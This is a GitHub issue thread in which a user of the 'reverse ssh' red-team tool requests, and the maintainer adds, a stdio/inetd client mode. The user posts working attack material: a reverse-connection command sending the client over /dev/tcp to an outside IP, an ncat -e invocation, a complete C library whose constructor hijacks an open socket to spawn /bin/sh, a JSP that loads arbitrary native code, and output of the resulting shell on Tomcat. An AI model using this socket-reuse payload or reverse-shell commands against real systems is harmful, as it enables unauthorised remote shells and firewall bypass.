Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add inetd mode to client #149

Closed
io-tl opened this issue Dec 18, 2023 · 12 comments
Closed

Add inetd mode to client #149

io-tl opened this issue Dec 18, 2023 · 12 comments
Assignees
Labels
enhancement New feature or request needs testing (on unstable) A feature that now exists, but is looking for people to test and use it

Comments

@io-tl
Copy link

io-tl commented Dec 18, 2023

Hello, first thanks for this tool it helps a lot during redteaming.
Is it possible to add inetd mode ( simulate a net.Conn with os.Stdin ) on client ?

ncat 1.2.3.4 -e "./client -inetd"
@NHAS
Copy link
Owner

NHAS commented Dec 20, 2023

Hi there!

Awesome to hear that you're using reverse ssh to do red teaming!

I am a bit unfamiliar with inetd (and Im assuming when you say os.Stdin you're also mean using os.Stdout as well?) could you give me just a brief "why this is useful" sort of thing?

@NHAS NHAS added the enhancement New feature or request label Dec 20, 2023
@io-tl
Copy link
Author

io-tl commented Dec 20, 2023

Yes ! stdin and stdout that act like connected socket.
For example in a vulnerability you want to reuse a socket ( because the FD_CLOEXEC is not set ) and want to make an execve of rssh's client with :

dup2(socket,stdin);
dup2(socket,stdout);
dup2(socket,stderr);
char *const argv[] = {"./client", "-inetd", NULL};
execve("./client", argv, NULL );

or directly via bash for example

./client -inetd  >& /dev/tcp/1.2.3.4/1337 0>&1

I think it's a minor change that could be useful

I'm actually learning go, i'm not familiar with this language but i already used this chunk of code for another project ( found on some gist on github ) maybe it could help

type StdioListener bool
type StdioConn bool

var stategen = make(chan bool)

func (sl *StdioListener) Addr() net.Addr {
	return &net.IPAddr{net.IPv4(0, 0, 0, 0), ""}
}

// Conn impl

func (sl *StdioConn) Read(b []byte) (int, error) {
	return os.Stdin.Read(b)
}

func (sl *StdioConn) Write(b []byte) (int, error) {
	return os.Stdout.Write(b)
}

func (sl *StdioConn) LocalAddr() net.Addr {
	return &net.IPAddr{net.IPv4(0, 0, 0, 0), ""}
}

func (sl *StdioConn) RemoteAddr() net.Addr {
	return sl.LocalAddr()
}

func (sl *StdioConn) SetDeadline(t time.Time) error {
	return nil
}

func (sl *StdioConn) SetReadDeadline(t time.Time) error {
	return nil
}

func (sl *StdioConn) SetWriteDeadline(t time.Time) error {
	return nil
}

func (sl *StdioConn) Close() error {
	stategen <- false
	return nil
}

// conn := new(StdioConn)

@NHAS
Copy link
Owner

NHAS commented Dec 20, 2023

Well that's sick, can you expand a bit on how you'd reuse an open fd for this?

I'll definitely add it, but what accommodations do you need on the server then, as its kind of up to you to write the pipe or however you're getting the network stream out

@io-tl
Copy link
Author

io-tl commented Dec 20, 2023

Sure, for example from a java deserialization or jsp upload you can abuse System.load to hijack a socket and reuse it :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define MAGIC "hello"
void reuse(unsigned int fd);

/**

gcc -fno-stack-protector  -fPIC lib.c -shared -o /tmp/lib.so
Very simple firewall bypass using /bin/sh for reuse but it'd be better with rssh ;-)

**/

__attribute__((constructor)) int hijacksocket(){
    int ret=-1;
    char buf[1024];
    for (unsigned int i=0;i<512;i++){
        struct sockaddr_in address;
        socklen_t address_len = sizeof(struct sockaddr);
        if (( ret = getpeername(i, (struct sockaddr *)&address,&address_len)) == 0 ){
            if (address_len > sizeof(struct sockaddr)){

                int b = fcntl(i, F_GETFL, 0);
                fcntl(i, F_SETFL, b & ~O_NONBLOCK);
                
                memset( buf, 0, 1024 );
                ret = send( i, MAGIC, strlen(MAGIC), 0 );
                ret = recv( i, &buf, strlen(MAGIC), 0 );
                if (memcmp( buf, MAGIC, strlen( MAGIC ) ) == 0){
                    reuse( i );
                }
                fcntl(i, F_SETFL, b & O_NONBLOCK);
                return 0;
            }
        }
    }
    return -1;
}

void reuse(unsigned int sock){
    char *argv[] =  {"sh","-i",NULL};
    pid_t child = fork();
    int status;
    if (child == 0){
        setsid();
        pid_t child2 = fork();
        if(child2 == 0){
            for (int i=0;i<1024;i++)
                if (i != sock)
                    close(i);
            dup2(sock,0);
            dup2(sock,1);
            dup2(sock,2);
            execve("/bin/sh",argv,NULL);
        }else{
            close(sock);
            waitpid(child2, &status, WNOHANG);
            exit(0);    
        }
    }else{
        close(sock);
        wait(NULL);
        return;
    }
    return;
}

a vuln jsp :

$ cat apache-tomcat-9.0.84/webapps/ROOT/vuln.jsp 
<%

try{
    java.io.FileInputStream is = new java.io.FileInputStream("/tmp/lib.so");
    java.io.File native_library = java.io.File.createTempFile("lib", ".so");
    native_library.deleteOnExit();
    native_library.setWritable(true);
    native_library.setExecutable(true);

    if (native_library.exists()) {
        java.io.FileOutputStream os = new java.io.FileOutputStream(native_library);
        int read;
        byte[] buffer = new byte[4096];
        while ((read = is.read(buffer)) != -1) {
            os.write(buffer, 0, read);
        }
        os.close();
        is.close();

        System.load(native_library.getPath());
    }
    else {
        is.close();
    }

}catch(Exception e){
    out.println(e);
}
%>

and then the reuse itself

$ nc 127.0.0.1 8080
GET /vuln.jsp HTTP/1.0

hellohello
sh: cannot set terminal process group (652964): Inappropriate ioctl for device
sh: no job control in this shell
sh-5.2$ 
sh-5.2$ id
id
uid=1000(user) gid=1000(user) groups=1000(user),955(lxd),968(libvirt-qemu),969(libvirt),970(docker),998(wheel)
sh-5.2$ 
sh-5.2$ 

@io-tl
Copy link
Author

io-tl commented Dec 20, 2023

I'll definitely add it, but what accommodations do you need on the server then, as its kind of up to you to write the pipe or however you're getting the network stream out

For the server i think it isn't necessary, between the tool that poll rssh and the server socket side i think an epoll/select will do the work.
For testing we could use socat as tool.

@NHAS NHAS self-assigned this Dec 20, 2023
@NHAS
Copy link
Owner

NHAS commented Dec 20, 2023

Gotta say that is pretty cool, a few months ago we could have really used a poc for socket reuse haha!

Just as a side note, RSSH will not function over a non-order/udp streams just as an FYI.

NHAS added a commit that referenced this issue Dec 20, 2023
@NHAS
Copy link
Owner

NHAS commented Dec 20, 2023

This now exists on unstable. Feel free to give it a shot!

@NHAS NHAS added the needs testing (on unstable) A feature that now exists, but is looking for people to test and use it label Dec 20, 2023
@NHAS
Copy link
Owner

NHAS commented Dec 20, 2023

You can switch to unstable in the docker container by doing this:

docker exec -it <container id> /bin/bash

Then in the rssh repo in the docker container:

git pull
git checkout unstable

As the server wont be upgraded you wont see the options I've chucked up there to make things easier (namely --stdio) but you can still build new stdio enabled clients by doing link -s stdio://anything.

This will obviously disable stdout logging

@io-tl
Copy link
Author

io-tl commented Dec 22, 2023

Thanks ! it works well.

Yet i have a bug if I lose the socket attached to the stdout of client, it stills try to use it :

[pid 3243071] write(2, "2023/12/22 10:27:27 Unable to start a new client connection: ssh: handshake failed: write /dev/stdout: file already closed\n", 123 <unfinished ...>

Regards and again thanks a lot for this addition

@NHAS
Copy link
Owner

NHAS commented Dec 22, 2023

Hmmmm, not really sure how to fix that on the rssh side of things.

Rssh should just try and reopen the studio file handles as it will get kicked back into it's reconnect loop.

But if you've replaced those fds to start with there isn't really a way to inform rssh it should be using something else.

I can always just make the program exit if stdout/stdin is closed, thoughts?

@io-tl
Copy link
Author

io-tl commented Dec 24, 2023

Hmmmm, not really sure how to fix that on the rssh side of things.

Rssh should just try and reopen the studio file handles as it will get kicked back into it's reconnect loop.

But if you've replaced those fds to start with there isn't really a way to inform rssh it should be using something else.

I think rssh couldn't be aware of the socket status attached to his own file descriptors.

The only information it could have is that writing to stdout and reading from stdin is impossible due to the socket closed status on other side.

I can always just make the program exit if stdout/stdin is closed, thoughts?

Yes i think we could just exit if rssh detects that stdout is closed.

@NHAS
Copy link
Owner

NHAS commented Dec 29, 2023

Yep sweet, it'll now die on stdio handle disconnection

@NHAS NHAS closed this as completed Dec 29, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request needs testing (on unstable) A feature that now exists, but is looking for people to test and use it
Projects
None yet
Development

No branches or pull requests

2 participants